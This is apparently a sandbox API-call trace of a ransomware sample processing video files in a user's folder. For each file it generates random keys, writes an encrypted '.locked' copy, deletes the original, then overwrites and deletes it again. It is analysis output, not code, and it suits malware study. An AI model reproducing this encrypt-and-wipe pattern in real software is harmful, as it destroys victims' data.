	[0081.629] SetEvent (hEvent=0x80) returned 1
	[0081.630] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.630] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.630] SetEvent (hEvent=0x80) returned 1
	[0081.630] SetEvent (hEvent=0x78) returned 1
	[0081.630] SetEvent (hEvent=0x8c) returned 1
	[0081.630] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.631] SetEvent (hEvent=0x8c) returned 1
	[0081.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\5u6anHlJ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\5u6anhlj.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.631] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0081.632] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.649] CloseHandle (hObject=0xc0) returned 1
	[0081.650] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\5u6anHlJ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\5u6anhlj.mkv")) returned 1
	[0081.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\WB9HSb49 lAVue3QW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\wb9hsb49 lavue3qw.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x734a34e0, ftCreationTime.dwHighDateTime=0x1d4c5e6, ftLastAccessTime.dwLowDateTime=0x21018d0, ftLastAccessTime.dwHighDateTime=0x1d4c8a7, ftLastWriteTime.dwLowDateTime=0x21018d0, ftLastWriteTime.dwHighDateTime=0x1d4c8a7, nFileSizeHigh=0x0, nFileSizeLow=0x124fc)) returned 1
	[0081.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\WB9HSb49 lAVue3QW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\wb9hsb49 lavue3qw.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.653] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0081.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\WB9HSb49 lAVue3QW.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\wb9hsb49 lavue3qw.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.654] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0081.654] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0081.654] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0081.654] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0081.654] WriteFile (in: hFile=0xc4, lpBuffer=0x1268d000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1268d000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0081.657] SetEvent (hEvent=0x78) returned 1
	[0081.657] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x124fc, lpOverlapped=0x0) returned 1
	[0081.659] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x124fc, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0x124fc, lpOverlapped=0x0) returned 1
	[0081.660] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0081.660] CloseHandle (hObject=0xc4) returned 1
	[0081.660] CloseHandle (hObject=0xc0) returned 1
	[0081.661] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.661] SetEvent (hEvent=0x78) returned 1
	[0081.661] SetEvent (hEvent=0x8c) returned 1
	[0081.661] SetEvent (hEvent=0x80) returned 1
	[0081.661] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.661] SetEvent (hEvent=0x80) returned 1
	[0081.662] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126f4000*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x126f4000*, lpNumberOfCharsWritten=0x127ee774*=0x57) returned 1
	[0081.663] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\WB9HSb49 lAVue3QW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\wb9hsb49 lavue3qw.mp4")) returned 1
	[0081.681] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.681] SetEvent (hEvent=0xa8) returned 1
	[0081.681] SetEvent (hEvent=0x8c) returned 1
	[0081.686] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.686] SetEvent (hEvent=0x8c) returned 1
	[0081.686] SetEvent (hEvent=0x80) returned 1
	[0081.686] SetEvent (hEvent=0x78) returned 1
	[0081.686] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.686] SetEvent (hEvent=0x78) returned 1
	[0081.688] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.688] SetEvent (hEvent=0x78) returned 1
	[0081.689] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.689] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.689] SetEvent (hEvent=0x78) returned 1
	[0081.689] SetEvent (hEvent=0x80) returned 1
	[0081.689] SetEvent (hEvent=0x8c) returned 1
	[0081.689] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.689] SetEvent (hEvent=0x8c) returned 1
	[0081.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\WB9HSb49 lAVue3QW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\wb9hsb49 lavue3qw.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.690] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0081.690] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.708] CloseHandle (hObject=0xc0) returned 1
	[0081.709] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\WB9HSb49 lAVue3QW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\wb9hsb49 lavue3qw.mp4")) returned 1
	[0081.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\Y_g655.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\y_g655.avi"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab5643b0, ftCreationTime.dwHighDateTime=0x1d4ce06, ftLastAccessTime.dwLowDateTime=0x2c33f950, ftLastAccessTime.dwHighDateTime=0x1d4ca38, ftLastWriteTime.dwLowDateTime=0x2c33f950, ftLastWriteTime.dwHighDateTime=0x1d4ca38, nFileSizeHigh=0x0, nFileSizeLow=0xd6d4)) returned 1
	[0081.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\Y_g655.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\y_g655.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.712] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0081.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\Y_g655.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\y_g655.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.712] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0081.712] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0081.713] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0081.713] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0081.713] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0081.716] SetEvent (hEvent=0x80) returned 1
	[0081.716] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0xd6d4, lpOverlapped=0x0) returned 1
	[0081.718] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xd6d4, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0xd6d4, lpOverlapped=0x0) returned 1
	[0081.719] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0081.719] CloseHandle (hObject=0xc4) returned 1
	[0081.719] CloseHandle (hObject=0xc0) returned 1
	[0081.719] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.720] SetEvent (hEvent=0x80) returned 1
	[0081.720] SetEvent (hEvent=0x8c) returned 1
	[0081.720] SetEvent (hEvent=0x78) returned 1
	[0081.720] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.720] SetEvent (hEvent=0xa8) returned 1
	[0081.720] SetEvent (hEvent=0x78) returned 1
	[0081.720] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee774*=0x4c) returned 1
	[0081.721] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\Y_g655.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\y_g655.avi")) returned 1
	[0081.740] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.740] SetEvent (hEvent=0xa8) returned 1
	[0081.740] SetEvent (hEvent=0x8c) returned 1
	[0081.745] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.745] SetEvent (hEvent=0x8c) returned 1
	[0081.745] SetEvent (hEvent=0x78) returned 1
	[0081.745] SetEvent (hEvent=0x80) returned 1
	[0081.745] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.745] SetEvent (hEvent=0x80) returned 1
	[0081.747] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.747] SetEvent (hEvent=0x80) returned 1
	[0081.747] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.748] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.748] SetEvent (hEvent=0x80) returned 1
	[0081.748] SetEvent (hEvent=0x78) returned 1
	[0081.748] SetEvent (hEvent=0x8c) returned 1
	[0081.748] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.748] SetEvent (hEvent=0x8c) returned 1
	[0081.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\Y_g655.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\y_g655.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.749] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0081.749] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.766] CloseHandle (hObject=0xc0) returned 1
	[0081.767] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\Js4gGe48\\Y_g655.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\js4gge48\\y_g655.avi")) returned 1
	[0081.769] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\WkNwQzEAE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\wknwqzeae.avi"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1430470, ftCreationTime.dwHighDateTime=0x1d4d1f9, ftLastAccessTime.dwLowDateTime=0x4eeda2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbb6, ftLastWriteTime.dwLowDateTime=0x4eeda2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbb6, nFileSizeHigh=0x0, nFileSizeLow=0x5315)) returned 1
	[0081.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\WkNwQzEAE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\wknwqzeae.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.770] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\WkNwQzEAE.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\wknwqzeae.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.770] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.771] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0081.771] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0081.771] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0081.771] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0081.773] SetEvent (hEvent=0x78) returned 1
	[0081.773] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x5315, lpOverlapped=0x0) returned 1
	[0081.775] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x5315, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x5315, lpOverlapped=0x0) returned 1
	[0081.775] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0081.775] CloseHandle (hObject=0xc4) returned 1
	[0081.776] CloseHandle (hObject=0xc0) returned 1
	[0081.776] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.776] SetEvent (hEvent=0x78) returned 1
	[0081.776] SetEvent (hEvent=0x8c) returned 1
	[0081.776] SetEvent (hEvent=0x80) returned 1
	[0081.776] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.777] SetEvent (hEvent=0xa8) returned 1
	[0081.777] SetEvent (hEvent=0x80) returned 1
	[0081.777] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee7d8*=0x46) returned 1
	[0081.778] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\WkNwQzEAE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\wknwqzeae.avi")) returned 1
	[0081.795] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.795] SetEvent (hEvent=0xa8) returned 1
	[0081.795] SetEvent (hEvent=0x8c) returned 1
	[0081.800] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.800] SetEvent (hEvent=0x8c) returned 1
	[0081.800] SetEvent (hEvent=0x80) returned 1
	[0081.800] SetEvent (hEvent=0x78) returned 1
	[0081.800] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.801] SetEvent (hEvent=0x78) returned 1
	[0081.802] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.802] SetEvent (hEvent=0x78) returned 1
	[0081.803] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.803] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.803] SetEvent (hEvent=0x78) returned 1
	[0081.803] SetEvent (hEvent=0x80) returned 1
	[0081.803] SetEvent (hEvent=0x8c) returned 1
	[0081.803] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.803] SetEvent (hEvent=0x8c) returned 1
	[0081.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\WkNwQzEAE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\wknwqzeae.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.804] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0081.804] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.820] CloseHandle (hObject=0xc0) returned 1
	[0081.820] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\WkNwQzEAE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\wknwqzeae.avi")) returned 1
	[0081.823] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\mIGbTI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\migbti.flv"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x160fbab0, ftCreationTime.dwHighDateTime=0x1d4cc95, ftLastAccessTime.dwLowDateTime=0xea86db20, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0xea86db20, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0xa377)) returned 1
	[0081.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\mIGbTI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\migbti.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.823] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\mIGbTI.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\migbti.flv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.824] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.824] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0081.824] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0081.824] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0081.824] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0081.826] SetEvent (hEvent=0x80) returned 1
	[0081.826] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xa377, lpOverlapped=0x0) returned 1
	[0081.828] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xa377, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xa377, lpOverlapped=0x0) returned 1
	[0081.829] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0081.829] CloseHandle (hObject=0xc4) returned 1
	[0081.829] CloseHandle (hObject=0xc0) returned 1
	[0081.829] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.830] SetEvent (hEvent=0x80) returned 1
	[0081.830] SetEvent (hEvent=0x8c) returned 1
	[0081.830] SetEvent (hEvent=0x78) returned 1
	[0081.830] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.830] SetEvent (hEvent=0xa8) returned 1
	[0081.830] SetEvent (hEvent=0x78) returned 1
	[0081.830] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee7d8*=0x43) returned 1
	[0081.831] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\aEbc\\IpMIxz8V0\\mIGbTI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aebc\\ipmixz8v0\\migbti.flv")) returned 1
	[0081.849] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.850] SetEvent (hEvent=0xa8) returned 1
	[0081.850] SetEvent (hEvent=0x8c) returned 1
